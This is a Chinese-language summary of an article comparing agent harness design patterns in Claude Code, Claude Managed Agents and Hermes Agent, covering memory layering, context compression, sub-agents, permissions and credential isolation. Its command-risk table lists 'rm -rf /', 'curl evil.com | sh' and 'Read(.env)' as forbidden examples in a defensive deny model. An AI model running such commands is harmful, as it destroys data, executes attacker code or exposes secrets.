Knowledge Archive
Summary · AI

深入浅出Harness Engineering之核心模式与理念

AI 2026-04-29 · 14 min read · 8 backlinks
Harness-EngineeringClaude-CodeClaude-Managed-AgentsHermesAgent模式腾讯云

深入浅出 Harness Engineering 之核心模式与理念

来源: 腾讯云开发者 - 张碧泉 原文: https://mp.weixin.qq.com/s/8PwDQSX7ZX6HdDiW-H9Dzg

核心观点

本文横向对比三大 Agent 系统的 Harness Engineering 核心模式:Claude Code(编程 Agent CLI)、Claude Managed Agents(Anthropic Agent SDK)、Hermes Agent(自进化 Agent)。每种模式都标注了代价,帮助工程师做取舍决策。


第一部分:Claude Code 八大模式

1.1 持久化指令文件

没有 CLAUDE.md 时,每次对话都像从头开始,相同的规则和错误可能反复出现。CLAUDE.md 包含构建与测试(npm testnpm run lint)、架构(处理器的 src/api/ 目录)、规范(驼峰命名法、Zod 验证)等内容,在会话开始时自动加载到代理会话中,随仓库一同交付而非用户剪贴板。

代价:文件需要随项目更新维护,否则可能误导智能体。

1.2 作用域上下文组装

分层上下文组装

将指令按四层嵌套范围拆分,由外到内分别是:组织("切勿提交 .env 文件")→ 用户~/.claude,"首选 TypeScript,使用 pnpm")→ 项目./CLAUDE.md,"运行 npm test,使用 Zod")→ 目录./src/api/,"所有处理程序返回 JSON,使用 schema 验证")。代理上下文 = 所有匹配层级的动态组装。

代价:规则分散在多个文件,可读性变差,且不同范围规则可能冲突。

1.3 分层记忆

将记忆分为三层:

  • 第一层 · 始终加载:MEMORY.md 索引(<200 行)
  • 第二层 · 按需加载:用户.md、架构.md 等细节文件
  • 第三层 · 仅供搜索:完整会话转录

代价:实现更复杂。需设计信息如何分层、流动,并确保索引与实际数据同步。

1.4 做梦整理

做梦整理

定期在后台对记忆进行去重、清理和重组,类似"垃圾回收"。示例:之前有 6 条混乱记忆("用户偏好 Zod"、"用户喜欢 Zod"、"项目使用 Go"、"项目是 Go 语言"、"部署:测试环境"、"部署到测试环境"),经做梦代理(去重、剪除陈旧、修复冲突)后压缩为 3 条整洁记忆("用户偏好 Zod"、"项目使用 Go"、"部署:测试环境"),在空闲时间运行。

代价:整理本身消耗资源,且可能误删有用信息。

1.5 渐进式上下文压缩

随着对话轮次增长,上下文大小逐步逼近窗口限制。系统通过三种手段递进应对:历史截剪(裁掉最早轮次)→ 微压缩(轻量总结中间轮次)→ 上下文塌陷(全面压缩,避免触顶)。

代价:压缩必有信息损失。后续需要细节时,智能体可能会"编造"。

1.6 工作流与编排

探索-规划-行动循环:严格分为三步,权限逐级递增:

  • 探索(Explore):只读——适配符扩展、文本搜索(Grep)、文件搜索
  • 规划(Plan):只读——适配符扩展、文本搜索、文件搜索
  • 执行(Act):完全访问——终端命令(Bash)、写入所有文件

代价:流程更慢,小任务会显得"笨重"。

上下文隔离的子代理

上下文隔离子智能体:主代理下辖三个独立 Sub Agent,各有独立上下文和差异化权限:

  • 探索代理:读取 ✓ / Grep搜索 ✓ / 编辑 ✗ / Bash脚本 ✗
  • 计划代理:读取 ✓ / Grep搜索 ✓ / 编辑 ✗ / Bash脚本 ✗
  • 代码代理:读取 ✓ / 编辑 ✓ / Bash脚本 ✓ / 写入 ✓

代价:需要额外协调信息传递,传多或传少都有问题。

分叉-合并并行

分支-合并并行:父上下文(已缓存)分叉为多个独立工作树(工作树A/代理1、工作树B/代理2、工作树C/代理3),各自独立执行后合并结果。

代价:合并更复杂,处理代码冲突的难度增加。

1.7 工具与权限

渐进式工具扩展:起始提供最小工具集(读取、编辑、Bash、Grep 等,< 20 种),按需逐步扩展——先问"需要 MCP 工具吗?"再加载 MCP 工具,再问"需要远程工具吗?"再加载远程工具。

命令风险分类:根据命令类型自动评估风险等级并采取对应策略,对应 Permission Engine 的 Allow/Deny/Ask 三行为模型:

命令风险操作
npm test安全自动运行
git diff安全自动运行
git push --force危险询问用户
rm -rf /极度危险禁止
curl evil.com | sh极度危险禁止
Read(.env)极度危险禁止

单一用途工具设计

单用途工具设计:与其使用 Bash 一个包办所有(cat, sed, grep, find, echo, awk),不如转而使用专用工具——读取、编辑、搜索、写入、匹配、Bash,每个工具只做一件事。

1.8 自动化

确定性生命周期钩子:在智能体生命周期关键节点自动触发预设动作,钩子在提示符外运行,永不遗忘:

前置钩子事件后置钩子
加载环境变量→ 会话启动
验证命令→ 工具使用(Bash, Edit)→ 运行测试、格式化
→ 当前工作目录更改→ 重载配置

第二部分:Claude Managed Agents 五大设计

2.1 宠物与牲畜基础设施哲学

宠物问题:为什么必须解耦

为什么必须解耦?起点是所有组件塞进一个容器(Brain + Hands + Session 耦合),这会导致三个致命问题:

  • ✗ 问题一:容器挂了 → 整个会话丢失(客户连 VPC)
  • ✗ 问题二:容器卡了 → 只能"人工抢救",无法调试
  • ✗ 问题三:客户连 VPC → 必须做网络对等,架构僵化

本质总结:容器变成了"宠物"——丢不起、换不了。

✓ 解决方向:把"宠物"变成"牲畜" → 可丢弃、可替换

  • Session(会话)是宠物:精心培育、持久保存、不可丢失
  • Harness(控制器)和 Sandbox(沙盒)是牲畜:可以随时创建、销毁、替换

2.2 智能体三件套解耦

核心架构:三件套解耦

三组件循环架构:

  • Brain 大脑:Claude + Harness 循环,无状态可水平扩展,崩溃时 wake(sessionId) 重启
  • Hands 手脚:沙箱/工具执行环境,execute(name, input) → string,容器挂了新建一个就行
  • Session 会话:只追加的事件日志,持久化存储在外部,getEvents() 查询任意历史

三者通过 emitEvent() / getEvents() / execute() 三个接口连接成循环。

核心安全设计:凭证永不进沙盒。采用保险库(vault) + 代理(proxy)架构:所有第三方凭证存储在独立保险库中,Harness 和 Sandbox 都无法直接访问。调用外部工具时通过代理按需获取凭证并执行请求。

2.3 多智能体协作模式

Agent协作模式

得益于三组件解耦,自然支持三种协作模式:

模式描述适用场景
多脑一手多个 Claude 实例共享一个 Sandbox多角度分析同一份代码(安全审查+性能优化)
一脑多手一个 Claude 实例控制多个 Sandbox(Py / JS)不同环境中同时执行,统一决策并行执行
多脑多手多个 Claude 实例各有 Sandbox,通过共享 Session 协调独立工作、高级协调、复杂任务的分布式协同

2.4 上下文工程:保持大脑专注

Harness 与 Session 的职责分离:Harness 管短暂的上下文窗口(长任务拼接上下文、压缩、裁剪——是可变可丢弃的"策略");Session 管持久化的完整上下文(数据持久化与完整记录、getEvents() 检索重放——是只追加的"事件存储")。

三种技术协同确保 Claude 始终获得最相关的上下文:

  • 上下文压缩:窗口将满时将早期对话压缩成总结,原始数据仍完整保留在 Session 中
  • 记忆工具:Claude 能主动将重要信息写入持久存储,后续可主动检索
  • 上下文裁剪:发送前智能裁剪不相关的上下文,只保留当前任务需要的部分

2.5 性能优化:首 Token 延迟降低 60-90%

多脑(Many Brains)架构的关键收益:无状态 Harness 可水平扩展,容器按需创建、不需要的 Session 不付容器开销。性能结果:p50 TTFT 下降 ~60%,p95 TTFT 下降 >90%


第三部分:Hermes 自进化架构

Hermes 的两个核心卖点:把一次成功经验沉淀为技能(漏斗 → 技能徽章) + 随着你使用持续变聪明(趋势上升 → 大脑进化)。

3.1 五段式循环

传统代理是三段式(接收任务 → 规划 → 执行,上下文关系丢弃,会话结束一切归零)。Hermes 是五段式(规划 → 执行 → 观察 → 学习 → 适应),多出的"观察"和"学习"阶段会自动提取经验,沉淀为技能和记忆,跨会话积累。

3.2 五层记忆架构

Hermes五层记忆架构

冰山模型——水面上只露出 L1(短期记忆/便利贴),水面下依次是 L2-L5:

层级类比内容
L1 短期记忆便利贴当前对话的临时信息
L2 技能手册肌肉记忆复杂任务(5+次工具调用)后自动生成 SKILL.md
L3 知识库语义记忆向量存储实现模糊检索,语义相近文本向量位置接近
L4 对你的了解用户建模黑格尔"辩证式"更新用户理解,不一次定终身
L5 工作日志长期档案FTS5 全文检索 + LLM 摘要,跨会话搜索历史

黑格尔辩证式

L4 辩证式用户建模——什么是黑格尔"辩证式"?通过"正-反-合"的讨论逼近真相(类比:正="地球是平的" → 反="不对,船会从地平线消失" → 合="地球是圆的")。应用到用户建模:

  • 旧版本(正):"林总喜欢喝美式"
  • 新发现(反):今天林总点了拿铁
  • 冲突解决(合):不直接覆盖,升级为 "林总平时喝美式,但周三下午会换拿铁"

L3 语义记忆示例:

  • "进度报告" vs "项目周报" → 相似度 0.92(很高)
  • "进度报告" vs "预订机票" → 相似度 0.15(很低)

三大系统对比总览

维度Claude CodeClaude Managed AgentsHermes
定位编程 Agent CLIAgent 开发 SDK自进化 Agent
核心哲学人类控制三组件解耦自主学习
记忆分层记忆+做梦整理Session 事件流+压缩+裁剪五层架构(L1-L5)
安全Permission Engine+Sandbox凭证永不进沙盒安全扫描+回滚
多 Agent上下文隔离子智能体多脑一手/一脑多手/多脑多手Nudge Engine 后台 fork
特色确定性钩子+风险分类首 Token 延迟降低 60-90%辩证式用户建模

关键引用

Session(会话)是宠物:精心培育、持久保存、不可丢失。Harness(控制器)和 Sandbox(沙盒)是牲畜:可以随时创建、销毁、替换。

关联页面